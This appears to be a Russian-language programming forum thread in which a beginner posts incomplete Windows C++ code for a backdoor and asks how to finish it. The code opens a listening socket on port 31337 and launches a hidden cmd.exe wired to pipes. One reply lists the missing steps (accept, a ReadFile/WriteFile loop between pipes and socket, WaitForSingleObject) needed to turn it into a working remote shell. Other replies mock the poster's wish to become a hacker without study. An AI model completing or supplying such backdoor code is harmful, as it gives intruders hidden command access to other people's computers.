Back Door - одни вопросы...
и циклить что то надо тока не знаю что...Объясните что тут к чему
ЗЫ: просто я пока С++ только начинаю изучать и не все понятно тут (делфя будет попроще...)
#include <winsock2.h>
int main(){
SOCKET s;
struct sockaddr_in localaddr, clientaddr;
WSADATA wsaData;
typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;
PIPE input, output;
SECURITY_ATTRIBUTES sa;
STARTUPINFO st;
PROCESS_INFORMATION pr;
WSAStartup(MAKEWORD(2,2), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(31337);
bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr));
listen(s, 0);
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
CreatePipe(&output.hRead, &output.hWrite, &sa, 0);
ZeroMemory(&st, sizeof(STARTUPINFO));
st.cb = sizeof(STARTUPINFO);
st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
st.wShowWindow = SW_HIDE;
st.hStdInput = input.hRead;
st.hStdOutput = output.hWrite;
st.hStdError = output.hWrite;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &st, &pr);
}
WaitForSingleObject в зубы.... и думать дальше.
И что все...один малчит:(... а другие не знают...?
1) А где, собственно код передачи инфы с пайпов в сокет или наоборот? ReadFile()/WriteFile() в цикле.
2) А где, собственно, код проверки запросов на подключение и подключение сокета? accept()
3) Уверен что с пайпами не напутал входы и выходы? Я вот в первых опытах с пайпами долго матюгался пока дошло...
4) Про это я уже говорил, но создал процесс - и он работает независимо. Тут тебе не дос, хочешь чтобы твой процесс жил пока жив тот - жди. WaitForSingleObject().
Короче если ты это назвал бэкдором, то тебе в сообщество чайников... народ видимо просто не счёл нужным это объяснять...
поделитесь кто исходниками такова вот быкдора или юбъясните чего тут есче даписать....
Допиши к этому коду мои 4 пункта - и всё будет работать. Больше тебе ничего нужно не будет. Другой вопрос если ты хочешь чтобы твой бэкдор не создавал 2 чёрных окошка на удалённом компе, как он у тебя сейчас сделает :)
А кто нибудь может выложить пример?...
Народ, помогите челу написать вирус!
Чтобы с дискеты запускалась. Жмякнул в виндах на а:\ и прога запущена через BIOS из com-файла с помощью boot-loadera. О как! ( Ссылка на эту солянку: http://forum.codenet.ru/showthread.php?t=27030 ).
Хочется быть кул хацкером, но учиться некогда (точнее влом), а хочется быть уже сейчас!
Может присваивать звание хакера в кредит?
Ну типа сейчас назыаем, а чел почивая на лаврах (и баксах ограбленных банков) учится в кредит... Ну типа изучает одну главу в счет погашения долга и ещё несколько в счет погащения кредита. Или можно общественно-полезным трудом проценты брать...
Рекламный сленг:
"Хакер-тимуровец! Стань хакером уже сейчас!"
Хочется быть кул хацкером, но учиться некогда (точнее влом), а хочется быть уже сейчас!
[/quote]
лучше научил бы вместо того что бы .... [COLOR=red][censored][/COLOR]
- Ага!
(с)"Вовка в тредивятом царстве"
По данной теме полный интернет информации. Жуй сам.
По поводу сбособов заражения информация на блюдечке слишком дорого стоит.